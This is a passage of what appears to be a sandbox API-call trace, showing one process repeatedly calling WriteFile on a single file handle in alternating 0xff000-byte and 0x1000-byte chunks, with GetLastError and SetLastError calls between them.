[0114.694] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.719] GetLastError () returned 0x0
[0114.719] SetLastError (dwErrCode=0x0)
[0114.719] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.719] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.745] GetLastError () returned 0x0
[0114.745] SetLastError (dwErrCode=0x0)
[0114.745] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.746] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.862] GetLastError () returned 0x0
[0114.863] SetLastError (dwErrCode=0x0)
[0114.863] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.863] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.951] GetLastError () returned 0x0
[0114.951] SetLastError (dwErrCode=0x0)
[0114.951] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.952] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0114.977] GetLastError () returned 0x0
[0114.977] SetLastError (dwErrCode=0x0)
[0114.977] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0114.977] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.049] GetLastError () returned 0x0
[0115.049] SetLastError (dwErrCode=0x0)
[0115.049] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.050] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.075] GetLastError () returned 0x0
[0115.075] SetLastError (dwErrCode=0x0)
[0115.075] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.075] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.105] GetLastError () returned 0x0
[0115.105] SetLastError (dwErrCode=0x0)
[0115.105] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.105] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.130] GetLastError () returned 0x0
[0115.130] SetLastError (dwErrCode=0x0)
[0115.130] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.131] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.159] GetLastError () returned 0x0
[0115.159] SetLastError (dwErrCode=0x0)
[0115.159] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.159] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.185] GetLastError () returned 0x0
[0115.185] SetLastError (dwErrCode=0x0)
[0115.185] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.185] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.231] GetLastError () returned 0x0
[0115.231] SetLastError (dwErrCode=0x0)
[0115.231] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.231] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.256] GetLastError () returned 0x0
[0115.257] SetLastError (dwErrCode=0x0)
[0115.257] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.257] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.282] GetLastError () returned 0x0
[0115.282] SetLastError (dwErrCode=0x0)
[0115.282] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.283] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.425] GetLastError () returned 0x0
[0115.425] SetLastError (dwErrCode=0x0)
[0115.425] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.426] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.494] GetLastError () returned 0x0
[0115.494] SetLastError (dwErrCode=0x0)
[0115.495] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.495] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.520] GetLastError () returned 0x0
[0115.520] SetLastError (dwErrCode=0x0)
[0115.520] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.520] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.545] GetLastError () returned 0x0
[0115.545] SetLastError (dwErrCode=0x0)
[0115.546] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.546] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.571] GetLastError () returned 0x0
[0115.571] SetLastError (dwErrCode=0x0)
[0115.571] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.572] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.599] GetLastError () returned 0x0
[0115.599] SetLastError (dwErrCode=0x0)
[0115.599] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.599] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.625] GetLastError () returned 0x0
[0115.625] SetLastError (dwErrCode=0x0)
[0115.626] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.626] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.656] GetLastError () returned 0x0
[0115.656] SetLastError (dwErrCode=0x0)
[0115.656] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.656] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.729] GetLastError () returned 0x0
[0115.729] SetLastError (dwErrCode=0x0)
[0115.729] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.729] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.845] GetLastError () returned 0x0
[0115.845] SetLastError (dwErrCode=0x0)
[0115.845] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.845] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.871] GetLastError () returned 0x0
[0115.871] SetLastError (dwErrCode=0x0)
[0115.871] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.871] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.898] GetLastError () returned 0x0
[0115.898] SetLastError (dwErrCode=0x0)
[0115.898] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.898] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.925] GetLastError () returned 0x0
[0115.925] SetLastError (dwErrCode=0x0)
[0115.925] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.925] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.951] GetLastError () returned 0x0
[0115.951] SetLastError (dwErrCode=0x0)
[0115.951] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.952] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0115.978] GetLastError () returned 0x0
[0115.978] SetLastError (dwErrCode=0x0)
[0115.978] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0115.978] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.007] GetLastError () returned 0x0
[0116.007] SetLastError (dwErrCode=0x0)
[0116.007] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.007] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.032] GetLastError () returned 0x0
[0116.032] SetLastError (dwErrCode=0x0)
[0116.032] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.032] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.058] GetLastError () returned 0x0
[0116.058] SetLastError (dwErrCode=0x0)
[0116.058] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.058] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.125] GetLastError () returned 0x0
[0116.126] SetLastError (dwErrCode=0x0)
[0116.126] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.126] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.194] GetLastError () returned 0x0
[0116.194] SetLastError (dwErrCode=0x0)
[0116.194] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.194] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.220] GetLastError () returned 0x0
[0116.220] SetLastError (dwErrCode=0x0)
[0116.221] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.221] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.247] GetLastError () returned 0x0
[0116.247] SetLastError (dwErrCode=0x0)
[0116.247] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.247] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.272] GetLastError () returned 0x0
[0116.273] SetLastError (dwErrCode=0x0)
[0116.273] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.273] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.348] GetLastError () returned 0x0
[0116.348] SetLastError (dwErrCode=0x0)
[0116.348] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.348] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.373] GetLastError () returned 0x0
[0116.373] SetLastError (dwErrCode=0x0)
[0116.373] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.374] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.399] GetLastError () returned 0x0
[0116.399] SetLastError (dwErrCode=0x0)
[0116.399] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.400] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.431] GetLastError () returned 0x0
[0116.432] SetLastError (dwErrCode=0x0)
[0116.432] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.432] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.521] GetLastError () returned 0x0
[0116.521] SetLastError (dwErrCode=0x0)
[0116.521] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.522] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.588] GetLastError () returned 0x0
[0116.588] SetLastError (dwErrCode=0x0)
[0116.589] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.589] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
